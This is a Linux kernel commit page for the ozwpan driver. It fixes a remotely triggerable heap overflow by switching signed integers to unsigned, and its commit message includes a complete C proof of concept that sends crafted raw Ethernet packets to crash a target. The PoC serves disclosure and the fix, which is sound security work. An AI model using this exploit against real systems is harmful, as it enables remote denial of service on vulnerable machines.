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author | Jason A. Donenfeld <Jason@zx2c4.com> | 2015-05-29 13:06:59 +0200 |
---|---|---|
committer | Greg Kroah-Hartman <gregkh@linuxfoundation.org> | 2015-05-30 21:33:54 +0200 |
commit | b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c (patch) | |
tree | 8987c70c95812c6b8a02bd69e2d08eda6c58183d /drivers | |
parent | ozwpan: Use proper check to prevent heap overflow (diff) | |
download | linux-b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c.tar.xz linux-b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c.zip |
ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Diffstat (limited to 'drivers')
-rw-r--r-- | drivers/staging/ozwpan/ozhcd.c | 8 | ||||
-rw-r--r-- | drivers/staging/ozwpan/ozusbif.h | 4 |
2 files changed, 6 insertions, 6 deletions
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c index 5ff4716b72c3..784b5ecfa849 100644 --- a/drivers/staging/ozwpan/ozhcd.c +++ b/drivers/staging/ozwpan/ozhcd.c @@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport) /* * Context: softirq */ -void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, - int length, int offset, int total_size) +void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc, + u8 length, u16 offset, u16 total_size) { struct oz_port *port = hport; struct urb *urb; @@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, if (!urb) return; if (status == 0) { - int copy_len; - int required_size = urb->transfer_buffer_length; + unsigned int copy_len; + unsigned int required_size = urb->transfer_buffer_length; if (required_size > total_size) required_size = total_size; diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h index 4249fa374012..d2a6085345be 100644 --- a/drivers/staging/ozwpan/ozusbif.h +++ b/drivers/staging/ozwpan/ozusbif.h @@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd); /* Confirmation functions. */ -void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, - const u8 *desc, int length, int offset, int total_size); +void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, + const u8 *desc, u8 length, u16 offset, u16 total_size); void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode, const u8 *data, int data_len); |